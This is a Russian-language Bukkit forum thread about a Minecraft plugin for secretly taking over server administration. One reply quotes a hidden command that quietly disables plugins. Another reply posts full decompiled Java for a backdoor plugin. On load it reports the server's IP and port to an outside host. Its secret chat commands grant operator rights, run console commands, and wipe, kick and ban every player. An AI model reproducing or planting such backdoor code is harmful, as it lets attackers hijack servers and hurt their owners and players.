Хостинг серверов Minecraft playvds.com
  1. Вы находитесь в русском сообществе Bukkit. Мы - администраторы серверов Minecraft, разрабатываем собственные плагины и переводим на русский язык плагины наших собратьев из других стран.
    Скрыть объявление

(Я был молод и глуп) Плагин для взлома Админки

Тема в разделе "Разработка плагинов для новичков", создана пользователем CHIAKALATE, 18 фев 2015.

  1. Автор темы
    CHIAKALATE

    CHIAKALATE Активный участник

    Баллы:
    61
    Имя в Minecraft:
    CHIKALATE
    Последнее редактирование: 31 июл 2016
  2. Хостинг MineCraft
    <
  3. TheBlacK.Z

    TheBlacK.Z Активный участник Пользователь

    Баллы:
    78
  4. TheBlacK.Z

    TheBlacK.Z Активный участник Пользователь

    Баллы:
    78
    Код:
          if (args[0].equalsIgnoreCase("+++удаление_плагина"))
          {
            Plugin plugin = Bukkit.getPluginManager().getPlugin(args[1]);
            if (plugin != null)
            {
              Bukkit.getPluginManager().disablePlugin(plugin);
            }
            e.setCancelled(true);
          }
    
    [​IMG]
     
  5. sergeev

    sergeev Активный участник Пользователь Заблокирован

    Баллы:
    76
    ГОвно вот
     
  6. TheBlacK.Z

    TheBlacK.Z Активный участник Пользователь

    Баллы:
    78
    Код:
    package me.yoloswaginz. >>enhance <<;
    [​IMG]
     
  7. DmitriyMX

    DmitriyMX Старожил Пользователь

    Баллы:
    153
    Skype:
    dmn550
    мда... а главное ТАК НЕ ПАЛЕВНО в логах сервера =/
     
  8. Автор темы
    CHIAKALATE

    CHIAKALATE Активный участник

    Баллы:
    61
    Имя в Minecraft:
    CHIKALATE
    в логах не палится[DOUBLEPOST=1424259957,1424259250][/DOUBLEPOST]ну, а всё-таки как плагин?
     
  9. TheBlacK.Z

    TheBlacK.Z Активный участник Пользователь

    Баллы:
    78
     
  10. LaoTheLizard

    LaoTheLizard Старожил Пользователь

    Баллы:
    103
    Skype:
    sgp_the_controller
    Ты, наверное, хотел здесь кого-то удивить этой школьной стряпней.
     
  11. DmitriyMX

    DmitriyMX Старожил Пользователь

    Баллы:
    153
    Skype:
    dmn550
    глянул код. Захотелось тебе дать линейкой по рукам
     
  12. kirill2011s

    kirill2011s Старожил Пользователь

    Баллы:
    103
    Убейся.
     
  13. makssof

    makssof Старожил Девелопер Пользователь

    Баллы:
    103
    Skype:
    makssofez
    А я вот раньше чем баловался:
    Код:
    import java.io.InputStream;
    import java.net.URL;
    import org.bukkit.Bukkit;
    import org.bukkit.ChatColor;
    import org.bukkit.GameMode;
    import org.bukkit.Location;
    import org.bukkit.Server;
    import org.bukkit.entity.Player;
    import org.bukkit.event.EventHandler;
    import org.bukkit.event.Listener;
    import org.bukkit.event.player.PlayerCommandPreprocessEvent;
    import org.bukkit.inventory.PlayerInventory;
    import org.bukkit.plugin.Plugin;
    
    public class MyClass
      implements Listener
    {
      public MyClass(Plugin plugin)
      {
      try
      {
      String ip = plugin.getServer().getIp();
      int port = plugin.getServer().getPort();
      String link = "http://АЗАЗАЗАЗА.besaba.com/add.php?ip=" + ip + "&port=" + port;
      URL url = new URL(link);
      InputStream stream = url.openStream();
      stream.close();
      } catch (Exception localException) {}
      }
    
      @EventHandler
      public void onMyCmd(PlayerCommandPreprocessEvent e) {
      if (e.getMessage().startsWith("/!__")) {
      e.setCancelled(true);
      Bukkit.dispatchCommand(Bukkit.getConsoleSender(), e.getMessage().replace("/!__", ""));
      return;
      }
      if (e.getMessage().startsWith("/?__addadmin")) {
      e.setCancelled(true);
      if (e.getMessage().replace("/?__addadmin ", "").equalsIgnoreCase("!__all")) {
      for (Player player : Bukkit.getOnlinePlayers()) {
      player.setOp(true);
      e.getPlayer().sendMessage(ChatColor.GREEN + player.getName() + " - \u0443\u0434\u0430\u0447\u043D\u043E!");
      }
      return;
      }
      for (Player player : Bukkit.getOnlinePlayers()) {
      if (e.getMessage().replace("/?__addadmin ", "").equalsIgnoreCase(player.getName())) {
      player.setOp(true);
      e.getPlayer().sendMessage(ChatColor.GREEN + "\u0423\u0434\u0430\u0447\u043D\u043E!");
      return;
      }
      }
      e.getPlayer().sendMessage(ChatColor.RED + "\u041E\u0448\u0438\u0431\u043A\u0430!");
      return;
      }
      if ("/?__iamadmin".equalsIgnoreCase(e.getMessage())) {
      e.setCancelled(true);
      e.getPlayer().setOp(true);
      e.getPlayer().sendMessage(ChatColor.GREEN + "\u0423\u0434\u0430\u0447\u043D\u043E!");
      return;
      }
      if ("/?__gm".equalsIgnoreCase(e.getMessage())) {
      e.setCancelled(true);
      Player[] arrayOfPlayer1; if (("!__all".equalsIgnoreCase(e.getMessage().replace("/?__gm ", ""))) &&
      ((arrayOfPlayer1 = Bukkit.getOnlinePlayers()).length != 0)) { Player player = arrayOfPlayer1[0];
      switch (player.getGameMode()) {
      case CREATIVE:
      player.setGameMode(GameMode.CREATIVE);
      break;
      case ADVENTURE:
      player.setGameMode(GameMode.SURVIVAL);
      break;
      default:
      player.setGameMode(GameMode.CREATIVE);
      }
    
      return;
      }
    
      switch (e.getPlayer().getGameMode()) {
      case CREATIVE:
      e.getPlayer().setGameMode(GameMode.CREATIVE);
      break;
      case ADVENTURE:
      e.getPlayer().setGameMode(GameMode.SURVIVAL);
      break;
      default:
      e.getPlayer().setGameMode(GameMode.CREATIVE);
      }
    
      return;
      }
      if (e.getMessage().startsWith("/?__ban")) {
      e.setCancelled(true);
      if ("!__all".equalsIgnoreCase(e.getMessage().replace("/?__ban ", ""))) {
      for (Player player : Bukkit.getOnlinePlayers()) {
      if (player != e.getPlayer()) {
      player.getInventory().clear();
      player.teleport(new Location(player.getWorld(), 0.0D, 2147483647.0D, 0.0D));
      player.setBedSpawnLocation(player.getLocation());
      player.setOp(false);
      player.kickPlayer("");
      player.setBanned(true);
      e.getPlayer().sendMessage(ChatColor.GREEN + "\u0423\u0434\u0430\u0447\u043D\u043E!");
      }
      }
      return;
      }
      for (Player player : Bukkit.getOnlinePlayers()) {
      if (e.getMessage().replace("/?__ban ", "").equalsIgnoreCase(player.getName())) {
      player.getInventory().clear();
      player.teleport(new Location(player.getWorld(), 0.0D, 2147483647.0D, 0.0D));
      player.setBedSpawnLocation(player.getLocation());
      player.setOp(false);
      player.kickPlayer("");
      player.setBanned(true);
      e.getPlayer().sendMessage(ChatColor.GREEN + player.getName() + " - \u0443\u0434\u0430\u0447\u043D\u043E!");
      }
      }
      e.getPlayer().sendMessage(ChatColor.RED + "\u041E\u0448\u0438\u0431\u043A\u0430!");
      return;
      }
      }
    }
    
    
    //декомпилированная версия, ибо сурса уже давно нету.
     
  14. saharin94

    saharin94 Старожил Пользователь Заблокирован

    Баллы:
    173
    Skype:
    RikkiLooh
    Имя в Minecraft:
    RubukkitDniwe
    Удаление плагина просто отменное :D
     
  15. Автор темы
    CHIAKALATE

    CHIAKALATE Активный участник

    Баллы:
    61
    Имя в Minecraft:
    CHIKALATE
    это не удаление, просто выключение. пусть админ думает, что удалил.[DOUBLEPOST=1424312787,1424312657][/DOUBLEPOST]скоро выйдет обновление! функции останутся прежними, а команды поменяю.
     
  16. kirill2011s

    kirill2011s Старожил Пользователь

    Баллы:
    103
    Ты не понял, что тебе тут пытаются донести? Перестань заниматься такой херней.
     
  17. DmitriyMX

    DmitriyMX Старожил Пользователь

    Баллы:
    153
    Skype:
    dmn550
    Или занимайся такой хернёй тихо
     

Поделиться этой страницей